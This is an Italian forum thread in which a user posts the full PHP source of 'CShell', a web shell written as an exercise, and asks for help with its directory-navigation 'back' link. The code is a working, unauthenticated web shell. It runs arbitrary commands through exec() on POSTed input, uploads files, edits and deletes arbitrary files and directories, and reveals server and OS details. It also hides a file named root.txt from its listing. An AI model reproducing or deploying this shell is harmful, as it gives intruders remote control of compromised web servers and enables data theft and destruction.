Visualizzazione risultati 1 fino 1 di 1

Discussione: Creazione shell e problema con navigazione directory

  1. #1
    Guest

    Predefinito Creazione shell e problema con navigazione directory

    Salve a tutti. Per allenamento sto scrivendo una shell in php. Ho quasi finito di implementare tutto, ma ho problemi con la navigazione nelle directories. Intanto ecco il codice:
    Codice PHP:
    <?php
    /*
    * CShell
    * Shell in php by Crashinside
    * Copyright: opensource
    * L'autore declina ogni responsabilità sull'uso di questa shell.
    * Solo a scopo illustrativo
    * Versione: 1.3
    * Un rigraziamento a blacklight <http://blacklight.gotdns.com> perchè ho seguito la sua shell per creare la mia
    * Un grazie anche a debug <http://debug.altervista.org> per avermi illuminato sul timer di generazione delle pagine
    *
    */
    ?>
    <?php
    function getMicrotime(){
    list(
    $msec,$sec)=explode(" ",microtime());
    return ((float)
    $msec+(float)$sec);
    }
    $start = getMicrotime();
    function
    delete_dir($dir) {
    if(!
    is_dir($dir)) {
    return
    1;
    }
    $handle = @glob($dir."/*");
    for(
    $i=0;$i<count($handle);$i++) {
    if(
    is_dir($handle[$i]))
    delete_dir($handle[$i]);
    unlink($handle[$i]);
    }
    rmdir($dir);
    return (
    is_dir($dir)) ? 1 : 0;
    }
    function
    getPerms($f) {
    //By blacklight, edit by me
    $mode = fileperms($f);
    $perm = '';
    $perm .= ($mode & 00400) ? 'r' : '-';
    $perm .= ($mode & 00200) ? 'w' : '-';
    $perm .= ($mode & 00100) ? 'x' : '-';
    $perm .= ($mode & 00040) ? 'r' : '-';
    $perm .= ($mode & 00020) ? 'w' : '-';
    $perm .= ($mode & 00010) ? 'x' : '-';
    $perm .= ($mode & 00004) ? 'r' : '-';
    $perm .= ($mode & 00002) ? 'w' : '-';
    $perm .= ($mode & 00001) ? 'x' : '-';
    return (
    is_dir($f)) ? "d".$perm : $perm;
    }
    function
    is_editable($f) {
    $exts = array('txt','php','html','xml','c','cpp','py','jsp','js','vbs','htaccess');
    $a = pathinfo($f);
    return (
    in_array($a['extension'], $exts)) ? 1 : 0;
    }
    function
    appr($num,$n) {
    settype($num, 'string');
    $a = explode(".",$num);
    $b = $a[1];
    settype($b,'string');
    $res = $a[0].".";
    for(
    $i=0;$i<$n;$i++) {
    $res .= $b[$i];
    }
    return
    $res." kb";
    }
    function
    Actions($f,$dir,$e=1) {
    if(
    $e == 1)
    return
    "<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=delete&file=".$f."\">D</a>&nbsp;<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=edit&file=".$f."\">E</a>&nbsp;<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=chmod&file=".$f."\">C</a>";
    else
    return
    "<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=delete&file=".$f."\">D</a>&nbsp;<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=chmod&file=".$f."\">C</a>";
    }
    function
    DirActs($dire,$dir) {
    return
    "<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=deletedir&d=".$dire."\">D</a>&nbsp;<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=chmod&d=".$dir."\">C</a>";
    }
    $root = getcwd();
    $dir = (isset($_GET['dir'])) ? $_GET['dir'] : getcwd();
    ?>
    <html>
    <head>
    <title>CShell -- Crashinside</title>
    <style type="text/css">
    p#title {
    font-size: 40;
    font-weight: bold;
    color: #666666;
    font-style: italic;
    text-align: center;
    }
    span#info {
    font-family: Courier;
    color: white;
    }
    body {
    background-color: black;
    color: white;
    }
    .text {
    background-color: transparent;
    color: white;
    }
    a {
    color: red;
    text-decoration: none;
    }
    a:hover {
    color: white;
    text-decoration: underline;
    }
    </style>
    <script type="text/javascript">
    function check(n) {
    switch(n) {
    case 0:
    if(document.forms[n].file.value != '') {
    document.forms[0].submit();
    } else {
    alert('Non hai messo il percorso al file!');
    }
    break;
    case 1:
    if(document.forms[1].cmd.value != '') {
    document.forms[1].submit();
    } else {
    alert('Scrivi un comando');
    }
    break;
    }
    }
    </script>
    <!-- CShell by Crashihside -->
    </head>
    <body>
    <p id="title">CShell</p>
    <span id="info">
    Host: <?php print $_SERVER['SERVER_NAME']; ?><br>
    Server: <?php print $_SERVER['SERVER_SOFTWARE']; ?><br>
    <?php print (is_callable("php_uname")) ? "Sistema operativo: ".php_uname()."<br>" : ""; ?>
    </span>
    <pre>


    </pre>
    <form enctype="multipart/form-data" action="" name="files" method="post">
    <table border="0">
    <tr>
    <td>Carica un file:</td>
    </tr>
    <tr>
    <td><input class="text" type="file" name="file"></td>
    </tr>
    <tr>
    <td><input type="button" onclick="check(0)" value="Carica"></td>
    </tr>
    </table>
    </form>
    <?php
    if(isset($_FILES['file'])) {
    $name = basename($_FILES['file']['name']);
    //print "Directory: $dir<br>Nome $name<br>Percorso: $dir.$nome";
    if(move_uploaded_file($_FILES['file']['tmp_name'], $dir."/".$name)) {
    print
    "File caricato con successo.<br>";
    print
    "Nome: <b>".$name."</b><br>";
    print
    "Tipo: <i>".$_FILES['file']['type']."</i><br>";
    print
    "Dimensione: <b>".$_FILES['file']['size']."</b><br>";
    } else {
    print
    "Errori nell'upload del file";
    }
    }
    ?>
    <form action="" name="cmd" method="post">
    <table border="0">
    <tr>
    <td>Esegui un comando:</td>
    </tr>
    <tr>
    <td><input type="text" class="text" name="cmd"></td>
    </tr>
    <tr>
    <td><input type="button" onclick="check(1)" value="Esegui">
    </tr>
    </table>
    </form>
    <?php
    if(isset($_POST['cmd'])) {
    $out = array();
    exec($_POST['cmd'],$out);
    print
    "<hr><i>Risultato del comando:<br>";
    foreach(
    $out as $l)
    print
    $l."<br>";
    }
    if(isset(
    $_GET['mode'])) {
    switch(
    $_GET['mode']) {
    case
    "edit":
    $f = file($_GET['file']);
    print
    "<b>Edit file</b><br>";
    print
    "<form action=\"\" method=\"post\" name=\"edit\">";
    print
    "<textarea name=\"txt\" class=\"text\" cols=\"80\" rows=\"20\">";
    foreach(
    $f as $a)
    print
    htmlentities($a);
    print
    "</textarea><br>";
    print
    "<input type=\"submit\" value=\"Salva\">";
    print
    "</form>";
    if(isset(
    $_POST['txt'])) {
    $f = fopen($_GET['file'], "w");
    fputs($f, $_POST['txt']);
    fclose($f);
    print (
    $f) ? "File modificato con successo." : "Errore nella modifica del file";
    }
    break;
    case
    "delete":
    $a = unlink($dir."/".$_GET['file']);
    print (
    $a) ? "File cancellato con successo" : "Errore nella cancellazione del file";
    break;
    case
    "deletedir":
    $a = delete_dir($dir."/".$_GET['d']);
    print (
    $a == 0) ? "Directory cancellata con successo" : "Errore nella cancellazione della directory";
    break;
    }
    }
    ?>
    <hr>
    Directory corrente: <b><?php echo ($root != $dir) ? $root."/".$dir : $dir; ?></b><br>
    <table border="0" width="50%">
    <?php
    //echo "Root(var): ".$root." | Dir: ".$dir." | getcwd(): ".getcwd()."<br>";
    if($root != $dir && $dir != "./") {
    echo
    "<tr>";
    echo
    "<td><a href=\"".$_SERVER['PHP_SELF']."?dir=./\">Indietro</a></td>";
    echo
    "</tr>";
    }
    ?>
    <tr>
    <td>Nome</td>
    <td>Permessi</td>
    <td>Dimensione</td>
    <td>Azioni</td>
    </tr>
    <?php
    $h
    = opendir($dir);
    while(
    false !== ($f = readdir($h))) {
    if(
    $f != ".." && $f != "." && $f != "root.txt") {
    $a = pathinfo($f);
    if(!isset(
    $a['extension']))
    $dirs[] = $f;
    else
    $files[] = $f;
    }
    }
    closedir($h);
    foreach(
    $dirs as $dire) {
    echo
    "<tr>";
    echo
    "<td><a href=\"".$_SERVER['PHP_SELF']."?dir=".(($root != $dir && $dir != "./") ? $dir."/".$dire : $dire)."\">".$dire."</a></td>";
    echo
    "<td>".getPerms($dir)."</td>";
    echo
    "<td>".appr((filesize($dir) / 1024), 2)."</td>";
    echo
    "<td>".DirActs($dire,$dir)."</td>";
    echo
    "</tr>";
    }
    foreach(
    $files as $file) {
    $file2 = ($root != $dir && $dir != "./") ? $dir."/".$file : $file;
    echo
    "<tr>";
    echo
    "<td><a target=\"_blank\" href=\"".$file."\">".$file."</a></td>";
    echo
    "<td>".getPerms($file2)."</td>";
    echo
    "<td>".appr((filesize($file2) / 1024),2)."</td>";
    if(
    is_editable($file2))
    echo
    "<td>".Actions($file,$dir)."</td>";
    else
    echo
    "<td>".Actions($file,$dir,0)."</td>";
    echo
    "</tr>";
    }
    ?>
    </table>
    <small><?php
    $end
    = getMicrotime();
    print
    "Pagina generata in ".round($end - $start, 3)." secondi";
    ?></small>
    </body>
    </html>
    Per fare una prova: se si fanno due directory una dentro l'altra, e si va in quella più interna, e si preme indietro, si noterà che si ritorna alla root del sito, ma non su di una directory. Come faccio a risolvere?
    EDIT:
    Risolto, mi hanno aiutato su HF.
    Ecco il codice relativo al link "indietro":
    Codice PHP:
    <?php
    if($root != $dir && $dir != "./") {
    $det = explode("/",$dir);
    $new = (sizeof($det) != 1) ? $det[sizeof($det)-2] : "./";
    echo
    "<tr>";
    echo
    "<td><a href=\"".$_SERVER['PHP_SELF']."?dir=".$new."\">Indietro</a></td>";
    echo
    "</tr>";
    }
    ?>
    Ultima modifica di gabryhacker : 22-01-2009 alle ore 20.15.06

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •